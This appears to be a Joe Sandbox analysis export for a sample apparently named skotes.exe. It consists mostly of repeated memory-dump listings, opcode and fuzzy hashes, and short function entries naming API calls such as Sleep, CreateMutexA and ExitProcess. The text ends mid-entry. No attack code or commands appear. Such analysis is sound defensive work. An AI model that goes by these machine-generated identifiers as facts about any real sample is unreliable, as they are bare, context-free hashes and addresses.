
Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 124469340639c694326a8b39252ebb809217ad669817e19aac9aaabbd3da025b
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 4DB14632D002499FEB11CF28D8917EEBBF5EF55360F14426AE855EB2C2D6388D42CB60

Function 009EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 009EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBBE4
_xtime_get.LIBCPMT ref: 009EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 009EBC13

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 4588974b6e4ccbf30194d6a3cf2e9b865822c674aede552c250e29e059b23c65
Instruction ID: 19c3b3b8a110a30b0d9baebd642033a8cc80a48971328818fabd6a5b8ab78593
Opcode Fuzzy Hash: 4588974b6e4ccbf30194d6a3cf2e9b865822c674aede552c250e29e059b23c65
Instruction Fuzzy Hash: 512133B5900159AFDF01EFA5DC85ABFB779EF48710F110425F941B7251DB34AD029B90

Analysis Process: skotes.exePID: 3652, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	586
Total number of Limit Nodes:	4

Executed Functions

Function 00A0652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00A0652A,?,?,?,?,?,00A07661), ref: 00A06567

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ad4c41d287262593926383f2a6490a03b44e2d82bc511481c37a122447681571
Instruction ID: bd0744ddaca9c44f4bd7015573810c1ef594cd9e8d5e90ef9781460e551183f0
Opcode Fuzzy Hash: ad4c41d287262593926383f2a6490a03b44e2d82bc511481c37a122447681571
Instruction Fuzzy Hash: C9E08C3010024CAECE267B18ED2DE8D7B29EF21749F000804FD185A262CB26EEA1C681

Function 009D9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3aa4def0fbff33abfe2586ac0f2079b54b4323a0ca7edd9a19b399f61c7391d4
Instruction ID: 2ed737acdc8cdad2da8d289826d11c89b303a1ad2af45fa9671e83e46c5b71cc
Opcode Fuzzy Hash: 3aa4def0fbff33abfe2586ac0f2079b54b4323a0ca7edd9a19b399f61c7391d4
Instruction Fuzzy Hash: E7312A317842019BEF08EBBCDC8975DB766EBD6310F24C21AE058973D6C77989818751

Function 009D9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 402bea08f4d7afd852f71b0344668569c89db186e39b87e8d8e2032bc9e95109
Instruction ID: fd1925b06b077aa0704c1fadd8fc130819abd54641b28a3894b25d09b47386b8
Opcode Fuzzy Hash: 402bea08f4d7afd852f71b0344668569c89db186e39b87e8d8e2032bc9e95109
Instruction Fuzzy Hash: BD3125317841019BEB08ABACDC997ADB766EB86310F20861AE018EB3D1C7358D908752

Function 009DA079 Relevance: 3.1, APIs: 2, Instructions: 136
